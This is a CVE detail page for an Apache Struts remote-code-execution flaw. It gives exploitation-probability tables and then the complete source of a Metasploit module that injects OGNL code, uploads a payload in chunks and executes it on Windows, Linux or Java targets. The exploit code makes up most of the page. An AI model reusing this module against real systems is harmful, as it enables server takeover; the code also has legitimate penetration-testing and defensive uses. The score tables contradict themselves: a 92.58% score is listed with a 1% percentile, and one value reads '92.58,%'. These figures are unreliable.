CVE-2013-1966 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.24%	–	–
2022-03-20	–	–	4.24%	–	–
2022-04-03	–	–	4.24%	–	–
2022-06-19	–	–	4.24%	–	–
2023-03-12	–	–	–	1.86%	–
2024-02-11	–	–	–	1.86%	–
2024-06-02	–	–	–	1.86%	–
2024-07-14	–	–	–	1.86%	–
2024-08-04	–	–	–	1.86%	–
2024-08-11	–	–	–	1.86%	–
2024-12-22	–	–	–	45.82%	–
2025-01-05	–	–	–	45.82%	–
2025-01-19	–	–	–	45.82%	–
2025-03-18	–	–	–	–	92.58%
2025-03-18	–	–	–	–	92.58,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-03-20	71%
2022-04-03	86%
2022-06-19	87%
2023-03-12	87%
2024-02-11	88%
2024-06-02	88%
2024-07-14	89%
2024-08-04	88%
2024-08-11	89%
2024-12-22	97%
2025-01-05	98%
2025-01-19	98%
2025-03-18	1%
2025-03-18	1%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts includeParams Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.14.2. A specifically crafted request parameter can be used to inject arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. When targeting an action which requires interaction through GET the payload should be split having into account the uri limits. In this case, if the rendered jsp has more than one point of injection, it could result in payload corruption. It should happen only when the payload is larger than the uri length. }, 'Author' => [ # This vulnerability was also discovered by unknown members of: # 'Coverity security Research Laboratory' # 'NSFOCUS Security Team' 'Eric Kobrin', # Vulnerability Discovery 'Douglas Rodrigues', # Vulnerability Discovery 'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2115'], [ 'CVE', '2013-1966'], [ 'OSVDB', '93645'], [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'], [ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html'] ], 'Platform' => [ 'win', 'linux', 'java'], 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DisclosureDate' => 'May 24 2013', 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]), OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]), OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]), OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) ], self.class) end def execute_command(cmd, opts = {}) inject_string = @inject.gsub(/CMD/,cmd) uri = normalize_uri(target_uri.path) req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] } case datastore['HTTPMETHOD'] when 'POST' req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }}) when 'GET' req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }}) end # Display a nice "progress bar" instead of message spam case @notify_flag when 0 print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload") @notify_flag = 1 when 1 print(".") # Progress dots when 2 print_status("Payload upload complete") end return send_request_cgi(req_hash) #Used for check function. end def exploit #initialise some base vars @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()" #Set up generic values. @payload_exe = rand_text_alphanumeric(4+rand(4)) pl_exe = generate_payload_exe append = false #Now arch specific... case target['Platform'] when 'linux' @payload_exe = "/tmp/#{@payload_exe}" chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" when 'java' @payload_exe << ".jar" pl_exe = payload.encoded_jar.pack exec_cmd = "" exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," exec_cmd << "#q.setAccessible(true),#q.set(null,true)," exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," exec_cmd << "#q.setAccessible(true),#q.set(null,false)," exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" when 'windows' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') end print_status("Preparing payload...") # Now with all the arch specific stuff set, perform the upload. # Need to calculate amount to allocate for non-dynamic parts of the URL. # Fixed strings are tokens used for substitutions. append_length = append ? "true".length : "false".length # Gets around the boolean/string issue sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length ) sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length case datastore['HTTPMETHOD'] when 'GET' chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items. #This lets us know the length remaining for our base64'd payloads chunk_length = ((chunk_length/4).floor)*3 when 'POST' chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore. end @notify_flag = 0 while pl_exe.length > chunk_length java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] append = true end java_upload_part(pl_exe,@payload_exe,append) execute_command(chmod_cmd) if target['Platform'] == 'linux' print_line() # new line character, after progress bar. @notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file. execute_command(exec_cmd) register_files_for_cleanup(@payload_exe) end def java_upload_part(part, filename, append = false) cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename) append = append ? "true" : "false" # converted for the string replacement. cmd = cmd.gsub!(/APPEND/,append) cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part)) execute_command(cmd) end def check #initialise some base vars @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" print_status("Performing Check...") sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now print_status("Asking remote server to sleep for #{sleep_time} seconds") response = execute_command(check_cmd) t2 = Time.now delta = t2 - t1 if response.nil? return Exploit::CheckCode::Safe elsif delta < sleep_time return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end end